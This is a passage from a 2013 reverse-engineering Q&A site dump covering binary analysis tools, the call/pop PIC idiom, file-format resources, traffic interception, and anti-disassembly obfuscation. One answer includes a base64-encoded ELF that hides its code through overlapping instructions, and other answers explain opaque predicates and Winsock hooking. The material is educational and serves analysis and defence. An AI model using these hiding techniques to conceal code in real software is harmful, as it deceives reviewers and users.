  <row Id="1652" PostTypeId="4" CreationDate="2013-04-08T09:55:45.440" Score="0" Body="The process of gathering information about a binary file, either with static or dynamic methods." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-10T00:51:40.583" LastActivityDate="2013-12-10T00:51:40.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1653" PostTypeId="1" AcceptedAnswerId="1666" CreationDate="2013-04-08T12:03:57.463" Score="9" ViewCount="1521" Body="&lt;p&gt;&lt;a href=&quot;http://bitblaze.cs.berkeley.edu/&quot;&gt;BitBlaze&lt;/a&gt; and &lt;a href=&quot;http://bap.ece.cmu.edu/&quot;&gt;BAP&lt;/a&gt; are two platforms to perform binary analysis. And, if I understand well, they are sharing lots of common features. What are their respective main features and in what do they differ from each other ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-08T12:23:46.937" LastActivityDate="2013-04-08T20:11:12.940" Title="What are the differences between BitBlaze and BAP?" Tags="|tools|static-analysis|dynamic-analysis|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1654" PostTypeId="1" AcceptedAnswerId="1657" CreationDate="2013-04-08T12:42:47.817" Score="37" ViewCount="7938" Body="&lt;p&gt;While reversing a 32bit Mach-O binary with Hopper, I noticed this peculiar method. The instruction on 0x0000e506 seems to be calling an address right below the instruction.&lt;/p&gt;&#xA;&lt;p&gt;What would be the reason for this? Is it some kind of register cleaning trickery?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OBxX3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OBxX3.png&quot; alt=&quot;Disassembly listing containing an instruction call 0xe50b at address 0xe506, immediately followed by pop eax at address 0xe50b&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="35600" LastEditDate="2024-02-19T21:41:46.283" LastActivityDate="2024-02-19T21:41:46.283" Title="Why would a program contain a call instruction targetting the address immediately following that instruction?" Tags="|assembly|x86|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1655" PostTypeId="2" ParentId="1654" CreationDate="2013-04-08T12:50:03.157" Score="16" Body="&lt;p&gt;This is a frequently used &quot;trick&quot; to determine the address of the instruction following the &lt;code&gt;call&lt;/code&gt;, i.e. the call instruction pushes the return address on the stack, which in this case corresponds to &lt;code&gt;0xe50b&lt;/code&gt;. After the pop instruction, eax contains that address.&#xA;For instance, this idiom is used for position independent code (pic), but is also quite commonly seen in obfuscated code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other disassemblers often display this code sequence as &lt;code&gt;call $+5&lt;/code&gt; (e.g. IDA).&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-04-08T12:50:03.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1656" PostTypeId="2" ParentId="1654" CreationDate="2013-04-08T12:52:03.990" Score="11" Body="&lt;p&gt;A &lt;code&gt;CALL&lt;/code&gt; instruction has the effect of pushing a return address onto the stack, before performing the control transfer to the call target. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example above, the &lt;code&gt;CALL&lt;/code&gt; instruction will push the value 0x0000E50B onto the stack, before transferring control to 0x0000E50B. The &lt;code&gt;POP&lt;/code&gt; instruction at 0x0000E50B will then pop the last value off of the top of the stack, into EAX. This value will be the &lt;code&gt;POP&lt;/code&gt; instructions own address, due to the &lt;code&gt;CALL&lt;/code&gt; instruction pushing the return value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple technique to get an instructions location in memory at run time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An instructions location can't always be computed by the linker at compile time as a binary may be relocated in memory due to Address Space Layout Randomization (ASLR).&lt;/p&gt;&#xA;" OwnerUserId="123" LastActivityDate="2013-04-08T12:52:03.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1657" PostTypeId="2" ParentId="1654" CreationDate="2013-04-08T12:52:15.240" Score="47" Body="&lt;p&gt;This is for position independent code. The &lt;code&gt;call 0xe50b&lt;/code&gt; instruction pushes the address of the next instruction, and then jumps. It jumps to the immediately following instruction, which has no effect. The next instruction, &lt;code&gt;pop eax&lt;/code&gt;, loads its own address into &lt;code&gt;eax&lt;/code&gt; (as it was the value pushed by &lt;code&gt;call&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further down it uses an offset from eax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, dword [ds:eax-0xe50b+objc_msg_close]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value being subtracted, &lt;code&gt;0xe50b&lt;/code&gt;, is the address that we moved into &lt;code&gt;eax&lt;/code&gt;. If the code hasn't been moved anywhere, &lt;code&gt;eax-0xe50b&lt;/code&gt; will be zero, but if the code has been moved to a different location, it will be the offset. We then add the address &lt;code&gt;objc_msg_close&lt;/code&gt;, so we'll be able to reference it, even if the code has been moved in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopper is actually being quite clever about it, because the instruction just says (from ndisasm):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,[eax+0x45fe75]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but Hopper knows that &lt;code&gt;eax&lt;/code&gt; contains the value of the instruction pointer at &lt;code&gt;0xe50b&lt;/code&gt;, so uses that offset to find the symbol for you.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-05-17T07:47:10.057" LastActivityDate="2013-05-17T07:47:10.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1659" PostTypeId="2" ParentId="1560" CreationDate="2013-04-08T13:20:01.910" Score="5" Body="&lt;p&gt;Like in many things, if you need more information, Wikipedia is the answer.  It only has detailed information for some formats, but usually has links to more in-depth technical descriptions of the formats.  You kind of have to guess what article the file format would be under, but in many cases you can find good information on (at least) many of the more common formats.  It's not ideal - perhaps it'd be a useful project to make a new &quot;file format&quot; wiki - but it does have a decent amount of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's far from an ideal source for this kind of data, but in terms of one-site resources it's one of the better options, and is certainly a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Java_class_file&quot;&gt;Java class File&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Portable_Executable&quot;&gt;Portable Executable Format&lt;/a&gt; - this doesn't have the format itself, but has a high-level overview and a link to the spec in the &quot;External Links&quot; section&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/WAV_file&quot;&gt;WAV File Format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/.3ds&quot;&gt;.3ds File Format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Executable_and_Linkable_Format&quot;&gt;ELF Format&lt;/a&gt; - some good links here too&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-04-08T13:20:01.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1660" PostTypeId="2" ParentId="1560" CreationDate="2013-04-08T14:12:31.743" Score="6" Body="&lt;p&gt;Check out the &lt;a href=&quot;https://bitbucket.org/haypo/hachoir/wiki/Home&quot; rel=&quot;nofollow&quot;&gt;Hachoir&lt;/a&gt; project. It is exactly what you are looking for. Hachoir-subfile is great because you can pass it a file stream and it will identify all embedded file types, size (if can be calculated) and their offset. Hachoir and dd are two of my favorite tools for carving files out of data streams. If you are running ubuntu type &lt;code&gt;sudo apt-get install hachoir&lt;/code&gt;, then run &lt;code&gt;hachoir-subfile &amp;lt;file_stream&amp;gt;&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to dig a little deeper into the stream you can use &lt;code&gt;hachoir-urwid&lt;/code&gt;. It will break the file up into known structures. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastEditorUserId="245" LastEditDate="2013-04-17T04:17:45.540" LastActivityDate="2013-04-17T04:17:45.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1661" PostTypeId="2" ParentId="1531" CreationDate="2013-04-08T14:47:54.103" Score="16" Body="&lt;p&gt;It's also known as the 'jump in the middle' trick.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;explanation&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;execution rules&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;most instructions take more than one byte to be encoded&#xA;&lt;ul&gt;&#xA;&lt;li&gt;they can take up to 15 bytes on modern CPUs&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;execution can start at any position as long as permissions are valid&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so any byte following the first one of an instruction can be re-used to start another instruction.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;abusing disassemblers&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;straighforward disassemblers start the next instruction right after the end of the last one.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so such disassemblers (that don't follow the flow) will &lt;strong&gt;hide&lt;/strong&gt; the instruction that is in the middle of a &lt;strong&gt;visible&lt;/strong&gt; one.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;examples&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;trivial&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00: EB 01           jmp  3&#xA;02: 68 c3 90 90 90  push 0x909090c3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will effectively execute as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00: EB 01           jmp  3&#xA;03: C3              retn&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as the first &lt;code&gt;jmp&lt;/code&gt; skips the first byte &lt;code&gt;68&lt;/code&gt; (which encodes an immediate push) of the following instruction.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;multiple overlaps&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;from &lt;a href=&quot;https://code.google.com/p/corkami/source/browse/trunk/misc/MakePE/examples/block.asm?spec=svn88&amp;amp;r=88&quot;&gt;this&lt;/a&gt; example, &lt;code&gt;69 84&lt;/code&gt; defines an &lt;code&gt;imul&lt;/code&gt; instruction that can take up to 11 bytes. Thus you can fit several lines of instruction in its 'fake' operands.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00: EB02                    jmp  4&#xA;02: 69846A40682C104000EB02  imul eax, [edx + ebp*2 + 0102C6840], 0x002EB0040&#xA;0D: ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will actually be executed as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00: EB02       jmp  4&#xA;04: 6A40       push 040&#xA;06: 682C104000 push 0x40102C&#xA;0B: EB02       jmp  0xF&#xA;0F: ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;instruction overlapping itself&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The instruction is jumping in the 2nd byte of itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00: EBFF    jmp 1&#xA;02: C0C300  rol bl, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will actually be executed as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00: EBFF    jmp 1&#xA;01: FFC0    inc eax&#xA;03: C3      retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;different CPU modes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;this obfuscation can be extended to jumping to the same EIP but in different CPU mode:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;64b CPUs still supports 32b instruction&lt;/li&gt;&#xA;&lt;li&gt;64b mode is using &lt;code&gt;0x33&lt;/code&gt; for &lt;code&gt;cs&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;some instructions are available only in a particular mode:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;arpl&lt;/code&gt; in 32b mode&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;movsxd&lt;/code&gt; in 64b mode&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so you can jump to the same &lt;code&gt;EIP&lt;/code&gt; but with a different &lt;code&gt;CS&lt;/code&gt;, and get different instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this &lt;a href=&quot;https://code.google.com/p/corkami/source/browse/trunk/src/CoST/CoST.asm?r=1593#2247&quot;&gt;example&lt;/a&gt;, this code is first executed in 32b mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00: 63D8   arpl   ax,bx&#xA;02: 48     dec    eax&#xA;03: 01C0   add    eax,eax&#xA;05: CB     retf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then re-executed in 64 bit mode as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00: 63D8   movsxd rbx,eax&#xA;02: 4801C0 add    rax,rax&#xA;05: CB     retf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, the instructions are overlapping, not because of a different EIP, but because the CPU temporarily changed from 32b to 64b mode.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-08T15:26:00.043" LastActivityDate="2013-04-08T15:26:00.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1662" PostTypeId="2" ParentId="1531" CreationDate="2013-04-08T15:16:03.983" Score="3" Body="&lt;p&gt;Because x86 instructions can be any length and don't need to be aligned, one instruction's immediate value can be another instruction altogether. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  0531C0EB01        add eax,0x1ebc031&#xA;00000005  055090EB01        add eax,0x1eb9050&#xA;0000000A  05B010EB01        add eax,0x1eb10b0&#xA;0000000F  EBF0              jmp short 0x1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does exactly what it says, until the jump. When it jumps, the immediate value being added to eax become an instruction, so the code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  05                db 5&#xA;00000001  31C0              xor ax,ax           xor ax, ax&#xA;00000003  EB01              jmp short 0x6&#xA;00000005  05                db 5&#xA;00000006  50                push ax             push ax&#xA;00000007  90                nop&#xA;00000008  EB01              jmp short 0xb&#xA;0000000A  05                db 5&#xA;0000000B  B010              mov al,0x10         mov al,0x10&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The instructions which are actually significant are shown in the right-hand column. In this example, short jump instructions are used to skip the &lt;code&gt;add eax&lt;/code&gt; part of the instruction (&lt;code&gt;05&lt;/code&gt;). It should be noted that this could be done more effectively by using an single-byte to eat the &lt;code&gt;05&lt;/code&gt;s, like &lt;code&gt;3C05&lt;/code&gt; which is &lt;code&gt;cmp al, 0x5&lt;/code&gt;, and would be harmless in code that doesn't care about the flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the pattern above, you easily replace all the &lt;code&gt;05&lt;/code&gt;s with &lt;code&gt;90&lt;/code&gt; (nop) to view the correct disassembly. This can be made trickier by using the &lt;code&gt;05&lt;/code&gt;s as immediate values to hidden code (that the execution depends on). In reality, the person obfuscating the code would probably not use &lt;code&gt;add eax&lt;/code&gt; over and over again, and might change the execution order to make it messier to trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prepared a sample using the pattern above. This is a 32-bit Linux ELF file in base64. The effect of the hidden code is running &lt;code&gt;execve(&quot;//usr/bin/python&quot;, 0, 0)&lt;/code&gt;. I suggest you don't run random binaries from SE answers. You can, however, use it to test your disassemblers. IDA, Hopper and objdump all fail miserably at first glance, although I imagine you can get IDA to do it correctly somehow.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAYIAECDQAAAAoAQAAAAAAADQAIAABACgAAwACAAEAAAAA&#xA;AAAAAIAECACABAgUAQAAFAEAAAUAAAAAEAAAAAAAAAAAAAAAAAAABTHA6wEFUJDrAQWwEOsBBffg&#xA;6wEF9+DrAQWJw+sBBbRu6wEFsG/rAQX34+sBBbRo6wEFsHTrAQVQkOsBBbR56wEFsHDrAQX34+sB&#xA;BbQv6wEFsG7rAQVQkOsBBbRp6wEFsGLrAQX34+sBBbQv6wEFsHLrAQVQkOsBBbRz6wEFsHXrAQX3&#xA;4+sBBbQv6wEFsC/rAQVQkOsBBTHJ6wEF9+HrAQWJ4+sBBbAL6wEFzYDrAelN////AC5zaHN0cnRh&#xA;YgAudGV4dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAEA&#xA;AAAGAAAAYIAECGAAAAC0AAAAAAAAAAAAAAAQAAAAAAAAAAEAAAADAAAAAAAAAAAAAAAUAQAAEQAA&#xA;AAAAAAAAAAAAAQAAAAAAAAA=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-04-08T15:16:03.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1663" PostTypeId="2" ParentId="1560" CreationDate="2013-04-08T16:00:56.893" Score="10" Body="&lt;p&gt;The &lt;a href=&quot;http://fileformats.archiveteam.org&quot;&gt;Lets Solve the File Format Problem wiki&lt;/a&gt; covers quite a good number of obscure formats and is worth checking out if Wikipedia isn't doing the job for you. It's also a good place to contribute very detailed or obscure stuff that Wikipedia might deem out of scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find help or advice from the library and archival digital preservation community which has been taking on problems of this nature for a number of years. The &lt;a href=&quot;http://openplanetsfoundation.org/&quot;&gt;Open Planets Foundation&lt;/a&gt; is a good place to start. In particular, the community (who I work with) collects examples of difficult or damaged file formats on a Github based &lt;a href=&quot;https://github.com/openplanets/format-corpus&quot;&gt;Format Corpus&lt;/a&gt;. Contributing to this can be useful in attracting advice from experts, and of course this helps to develop a useful resource for developers of digital preservation tools (for testing and validation). Files must be CC0 however!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the other avenue to explore further would be the digital forensics community. The &lt;a href=&quot;http://www.nsrl.nist.gov/&quot;&gt;National Software Reference Library&lt;/a&gt;, for example, has some useful resources that could help around the fringes of your challenge.&lt;/p&gt;&#xA;" OwnerUserId="1642" LastActivityDate="2013-04-08T16:00:56.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1664" PostTypeId="2" ParentId="1560" CreationDate="2013-04-08T16:01:01.873" Score="36" Body="&lt;p&gt;I am a developer for the &lt;a href=&quot;https://github.com/vstinner/hachoir&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hachoir project&lt;/a&gt;, which aims to describe the format of any file down to the bit-level. Currently it has parsers for a number of well-known formats, including Java classes, Windows executables, MP3 files, etc. The full list of parsers can be found in the subdirectories &lt;a href=&quot;https://github.com/vstinner/hachoir3/tree/master/hachoir/parser&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When working on a new parser for &lt;code&gt;hachoir_parser&lt;/code&gt;, it is often necessary to find information about a file format. There's no single source describing every format (even as Hachoir aspires to be this source, it is not nearly comprehensive enough). Generally, the first step is just to search for &lt;code&gt;&amp;lt;file format name&amp;gt; file format&lt;/code&gt;, e.g. &lt;code&gt;java class file format&lt;/code&gt;, and look for documentation on official sites (for java classes, this turns up Oracle's documentation, which should be all you need). If there are no official sites, you may still turn up some documentation from someone who has worked on the format in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For common file formats, this turns up the format specification you want about 90-95% of the time. Larger software companies, like Oracle and Microsoft, post their file format specifications online for interoperability purposes. For example, you can find documentation for PE (Windows EXE/DLL), MS Office formats (XLS, PPT, DOC), and other Microsoft formats by browsing or searching MSDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For multimedia formats, the &lt;a href=&quot;http://wiki.multimedia.cx/index.php?title=Main_Page&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multimedia Wiki&lt;/a&gt; is a great resource. They also cover some game file formats  as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a less common file format, for which I do not find a specification (or suitable description) from Googling, my approach is usually to find an open-source program that does understand the file, and either locate their format specification source (if described in a commit or README), or read their source code directly to understand the file format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no open-source programs for the file, and no openly available descriptions of the file format online, the file format is probably quite obscure. For game files (in which many developers insist on using their own proprietary formats), I've found &lt;a href=&quot;http://forum.xentax.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;XeNTaX&lt;/a&gt; to offer some good pointers and a good community to help figure out the formats. With other kinds of formats, you may have to start examining the samples you have to compare the byte fields and elucidate their function. If you have a program that accepts these files, you can try changing the fields methodically to determine what effects they have on the program's output. This is ultimately the &quot;real&quot; reverse-engineering work, and I think it is not within the scope of this answer. &lt;/p&gt;&#xA;" OwnerUserId="1328" LastEditorUserId="23011" LastEditDate="2019-02-26T09:36:35.743" LastActivityDate="2019-02-26T09:36:35.743" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1665" PostTypeId="2" ParentId="1594" CreationDate="2013-04-08T19:43:45.723" Score="11" Body="&lt;p&gt;Other users have done a good job with the elements of this question that are specific to the IPA format.  As for obtaining the source code to a binary object, please see &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/311/why-are-machine-code-decompilers-less-capable-than-for-example-those-for-the-clr/312#312&quot;&gt;this answer&lt;/a&gt; as for why this may be more difficult than you expect (as compared to, say, bytecode language decompilation).&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-04-08T19:43:45.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1666" PostTypeId="2" ParentId="1653" CreationDate="2013-04-08T20:11:12.940" Score="11" Body="&lt;p&gt;BAP is mostly a rewrite of BitBlaze, so feature-wise there are many common features.  However, many of these have been re-written or re-designed for BAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Common features:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Lifting of usermode, x86 instructions&lt;/li&gt;&#xA;&lt;li&gt;Datafow analysis module&lt;/li&gt;&#xA;&lt;li&gt;Dominator analysis&lt;/li&gt;&#xA;&lt;li&gt;CFG and SSA representations&lt;/li&gt;&#xA;&lt;li&gt;Optimization framework&lt;/li&gt;&#xA;&lt;li&gt;Verification condition generation&lt;/li&gt;&#xA;&lt;li&gt;Dependency graphs&lt;/li&gt;&#xA;&lt;li&gt;Slicing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am a BAP developer, so I can mainly attest to what is new in BAP since we split.  However, I don't think BitBlaze has (publicly) added new features since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New in BAP&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Formally defined semantics for the IL&lt;/li&gt;&#xA;&lt;li&gt;PIN-based user-level taint tracking and tracing tool&lt;/li&gt;&#xA;&lt;li&gt;Integration with LLVM&lt;/li&gt;&#xA;&lt;li&gt;Native instruction lifting (i.e., in OCaml)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Only in BitBlaze:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TEMU system-level taint tracking and tracing tool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-04-08T20:11:12.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1667" PostTypeId="2" ParentId="1628" CreationDate="2013-04-09T01:48:47.980" Score="5" Body="&lt;p&gt;If the network traffic is in &quot;plain text&quot; (not encrypted) then a network sniffer such as Wireshark is ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the network traffic is encrypted via SSL but you have the private key (or if the client application does not validate the server's public key) then you can use a proxy such as &lt;a href=&quot;http://www.portswigger.net/burp/&quot; rel=&quot;noreferrer&quot;&gt;Burp&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the network traffic is encrypted via SSL and you don't have the private key readily available and the client validates the server's public key then you can use a program such as &lt;a href=&quot;http://www.bindshell.net/tools/echomirage.html&quot; rel=&quot;noreferrer&quot;&gt;Echo Mirage&lt;/a&gt;, which hooks Winsock's send and receive functions, thus giving you access to the plain text before it's encrypted and after it's decrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if network traffic is encrypted using something other than SSL then you'd need to reverse engineer the client software to determine how the encryption and decryption are performed. Your best bet would be to find cross-references to Winsock's send and receive functions and determine how the client encrypts the data before sending it and decrypts it after receiving it.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-04-09T01:48:47.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1668" PostTypeId="2" ParentId="1628" CreationDate="2013-04-09T06:51:58.517" Score="4" Body="&lt;p&gt;Another option that's pointed out in the comments above by @CallMeV is to use hooking.  On Windows you may look at using &lt;a href=&quot;http://easyhook.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;EasyHook&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2013-04-09T06:51:58.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1669" PostTypeId="1" AcceptedAnswerId="1679" CreationDate="2013-04-09T07:48:31.540" Score="19" ViewCount="12228" Body="&lt;p&gt;I saw the term of &lt;em&gt;opaque predicates&lt;/em&gt; several times in obfuscation papers. As far as I understand it, it refers to predicates that are hard to evaluate in an automated manner. Placing it at strategical points of the program (&lt;code&gt;jmp&lt;/code&gt;, &lt;code&gt;test&lt;/code&gt;, ...) can mislead the analysis of a program by automatic tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My definition is lacking of precision and, moreover, I have no idea on how to estimate the &lt;em&gt;opacity&lt;/em&gt; of such a predicate (its efficiency). So, can somebody give a proper definition and maybe a few examples ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2020-02-16T23:18:05.563" Title="What is an &quot;opaque predicate&quot;?" Tags="|obfuscation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1670" PostTypeId="2" ParentId="1669" CreationDate="2013-04-09T08:10:29.047" Score="19" Body="&lt;p&gt;An &lt;em&gt;opaque predicate&lt;/em&gt; is an obfuscated condition, that, followed with a conditional operation, will make the analysis harder, and in some cases impossible until code is actually executed until that condition is evaluated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is used to disrupt static analysis (outcome is unpredictable) or emulation (to tell the difference between a real machine and an emulated environment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can rely on executions conditions, CPU features, API calls, and documented or not.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Examples&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;initial values&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As values of registers are neither null nor completely random on process start, they can be relied on to create tests that look random but are actually deterministic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;EntryPoint&amp;gt;:&#xA;   jnz &amp;lt;InvalidPath&amp;gt;&#xA;   &amp;lt;ValidPath&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/corkami/wiki/InitialValues#Flags&quot;&gt;flags register&lt;/a&gt; is always &lt;code&gt;246&lt;/code&gt; at EntryPoint&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ZF&lt;/code&gt; is always set&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;as a consequence, &lt;code&gt;jnz&lt;/code&gt; will never be taken.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;checksum&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;compute a checksum of some piece of code or data&#xA;&lt;ul&gt;&#xA;&lt;li&gt;preferably something not present before 